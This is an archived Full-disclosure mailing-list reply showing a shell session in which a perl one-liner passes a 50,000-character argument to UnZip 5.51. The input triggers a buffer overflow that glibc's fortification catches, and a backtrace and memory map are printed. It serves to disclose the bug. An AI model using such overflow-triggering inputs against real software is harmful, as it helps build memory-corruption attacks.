<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1">
<META NAME="Generator" CONTENT="MS Exchange Server version 6.5.7226.0">
<TITLE>RE: [Full-disclosure] Unzip *ALL* verisons ;))</TITLE>
</HEAD>
<BODY>
<!-- Converted from text/plain format -->
<P><FONT SIZE=2>[bobd@ ~]$ unzip -v|head -1<BR>
UnZip 5.51 of 22 May 2004, by Info-ZIP. Maintained by C. Spieler. Send<BR>
<BR>
[bobd@ ~]$ uname -a<BR>
Linux 2.6.14-1.1644_FC4 #1 Sun Nov 27 03:25:11 EST 2005 i686 i686 i386 GNU/Linux<BR>
<BR>
[bobd@ ~]$ unzip `perl -e 'print "A" x 50000'`<BR>
*** buffer overflow detected ***: unzip terminated<BR>
======= Backtrace: =========<BR>
/lib/libc.so.6(__chk_fail+0x41)[0xac5c45]<BR>
/lib/libc.so.6(__strcpy_chk+0x3f)[0xac52d7]<BR>
unzip[0x805c1da]<BR>
unzip[0x8056734]<BR>
unzip[0x804a75a]<BR>
/lib/libc.so.6(__libc_start_main+0xdf)[0x9fcd5f]<BR>
unzip[0x80491b1]<BR>
======= Memory map: ========<BR>
0027e000-00287000 r-xp 00000000 16:06 617610 /lib/libgcc_s-4.0.2-20051126.so.1<BR>
00287000-00288000 rwxp 00009000 16:06 617610 /lib/libgcc_s-4.0.2-20051126.so.1<BR>
00971000-00972000 r-xp 00971000 00:00 0 [vdso]<BR>
009ca000-009e4000 r-xp 00000000 16:06 618035 /lib/ld-2.3.5.so<BR>
009e4000-009e5000 r-xp 00019000 16:06 618035 /lib/ld-2.3.5.so<BR>
009e5000-009e6000 rwxp 0001a000 16:06 618035 /lib/ld-2.3.5.so<BR>
009e8000-00b0b000 r-xp 00000000 16:06 618037 /lib/libc-2.3.5.so<BR>
00b0b000-00b0d000 r-xp 00123000 16:06 618037 /lib/libc-2.3.5.so<BR>
00b0d000-00b0f000 rwxp 00125000 16:06 618037 /lib/libc-2.3.5.so<BR>
00b0f000-00b11000 rwxp 00b0f000 00:00 0<BR>
08047000-08064000 r-xp 00000000 16:06 853429 /usr/bin/unzip<BR>
08064000-08065000 rw-p 0001c000 16:06 853429 /usr/bin/unzip<BR>
08065000-08077000 rw-p 08065000 00:00 0<BR>
090b1000-090d4000 rw-p 090b1000 00:00 0 [heap]<BR>
b7fab000-b7fac000 rw-p b7fab000 00:00 0<BR>
b7fc6000-b7fc7000 rw-p b7fc6000 00:00 0<BR>
bffa5000-bffc7000 rw-p bffa5000 00:00 0 [stack]<BR>
Aborted<BR>
<BR>
- Bob<BR>
<BR>
</FONT>
</P>
</BODY>
</HTML>